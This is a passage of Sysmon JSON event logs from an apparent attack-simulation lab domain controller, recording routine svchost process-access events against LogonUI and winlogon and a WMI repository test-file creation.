ac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":943,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.500\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00103DC30000}\r\nSourceProcessId: 1220\r\nSourceThreadId: 2000\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x100000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|c:\\windows\\system32\\es.dll+118e5|c:\\windows\\system32\\es.dll+13b72|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+7cf9|C:\\Windows\\System32\\combase.dll+1319|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.500","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00103DC30000}","SourceProcessId":"1220","SourceThreadId":"2000","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x100000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|c:\\windows\\system32\\es.dll+118e5|c:\\windows\\system32\\es.dll+13b72|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+7cf9|C:\\Windows\\System32\\combase.dll+1319|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":944,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.531\r\nProcessGuid: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nProcessId: 1132\r\nImage: C:\\Windows\\system32\\svchost.exe\r\nTargetFilename: C:\\Windows\\System32\\wbem\\Repository\\WRITABLE.TST\r\nCreationUtcTime: 2020-08-07 11:49:40.531","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.531","ProcessGuid":"{90617006-3FD4-5F2D-0000-00101AB90000}","Image":"C:\\Windows\\system32\\svchost.exe","TargetFilename":"C:\\Windows\\System32\\wbem\\Repository\\WRITABLE.TST","CreationUtcTime":"2020-08-07 11:49:40.531","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":945,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.547\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8d58|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.547","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8d58|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":946,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.547\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8e42|c:\\windows\\system32\\lsm.dll+8d96|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.547","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8e42|c:\\windows\\system32\\lsm.dll+8d96|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":947,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.578\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00103DC30000}\r\nSourceProcessId: 1220\r\nSourceThreadId: 1640\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001076B40000}\r\nTargetProcessId: 1092\r\nTargetImage: C:\\Windows\\system32\\LogonUI.exe\r\nGrantedAccess: 0x40\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|c:\\windows\\system32\\fntcache.dll+17aaf|c:\\windows\\system32\\fntcache.dll+1a677|c:\\windows\\system32\\fntcache.dll+1aaac|c:\\windows\\system32\\fntcache.dll+502ee|c:\\windows\\system32\\fntcache.dll+4fff2|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.578","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00103DC30000}","SourceProcessId":"1220","SourceThreadId":"1640","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001076B40000}","TargetProcessId":"1092","TargetImage":"C:\\Windows\\system32\\LogonUI.exe","GrantedAccess":"0x40","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|c:\\windows\\system32\\fntcache.dll+17aaf|c:\\windows\\system32\\fntcache.dll+1a677|c:\\windows\\system32\\fntcache.dll+1aaac|c:\\windows\\system32\\fntcache.dll+502ee|c:\\windows\\system32\\fntcache.dll+4fff2|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":948,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.578\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00103DC30000}\r\nSourceProcessId: 1220\r\nSourceThreadId: 1640\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001076B40000}\r\nTargetProcessId: 1092\r\nTargetImage: C:\\Windows\\system32\\LogonUI.exe\r\nGrantedAccess: 0x40\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|c:\\windows\\system32\\fntcache.dll+17aaf|c:\\windows\\system32\\fntcache.dll+1a677|c:\\windows\\system32\\fntcache.dll+1aaac|c:\\windows\\system32\\fntcache.dll+502ee|c:\\windows\\system32\\fntcache.dll+4fff2|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.578","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00103DC30000}","SourceProcessId":"1220","SourceThreadId":"1640","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001076B40000}","TargetProcessId":"1092","TargetImage":"C:\\Windows\\system32\\LogonUI.exe","GrantedAccess":"0x40","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|c:\\windows\\system32\\fntcache.dll+17aaf|c:\\windows\\system32\\fntcache.dll+1a677|c:\\windows\\system32\\fntcache.dll+1aaac|c:\\windows\\system32\\fntcache.dll+502ee|c:\\windows\\system32\\fntcache.dll+4fff2|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":949,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.578\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00103DC30000}\r\nSourceProcessId: 1220\r\nSourceThreadId: 1640\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001076B40000}\r\nTargetProcessId: 1092\r\nTargetImage: C:\\Windows\\system32\\LogonUI.exe\r\nGrantedAccess: 0x40\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|c:\\windows\\system32\\fntcache.dll+17aaf|c:\\windows\\system32\\fntcache.dll+1a677|c:\\windows\\system32\\fntcache.dll+1aaac|c:\\windows\\system32\\fntcache.dll+502ee|c:\\windows\\system32\\fntcache.dll+4fff2|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.578","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00103DC30000}","SourceProcessId":"1220","SourceThreadId":"1640","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001076B40000}","TargetProcessId":"1092","TargetImage":"C:\\Windows\\system32\\LogonUI.exe","GrantedAccess":"0x40","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|c:\\windows\\system32\\fntcache.dll+17aaf|c:\\windows\\system32\\fntcache.dll+1a677|c:\\windows\\system32\\fntcache.dll+1aaac|c:\\windows\\system32\\fntcache.dll+502ee|c:\\windows\\system32\\fntcache.dll+4fff2|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":950,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.594\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nSourceProcessId: 1132\r\nSourceThreadId: 1900\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010244B0000}\r\nTargetProcessId: 800\r\nTargetImage: C:\\Windows\\system32\\winlogon.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|c:\\windows\\system32\\SYSNTFY.dll+1ad9|C:\\Windows\\System32\\RPCRT4.dll+580d4|C:\\Windows\\System32\\RPCRT4.dll+39ae0|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.594","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","SourceProcessId":"1132","SourceThreadId":"1900","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010244B0000}","TargetProcessId":"800","TargetImage":"C:\\Windows\\system32\\winlogon.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|c:\\windows\\system32\\SYSNTFY.dll+1ad9|C:\\Windows\\System32\\RPCRT4.dll+580d4|C:\\Windows\\System32\\RPCRT4.dll+39ae0|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":951,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.610\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8d58|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.610","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8d58|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":952,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.610\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8e42|c:\\windows\\system32\\lsm.dll+8d96|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 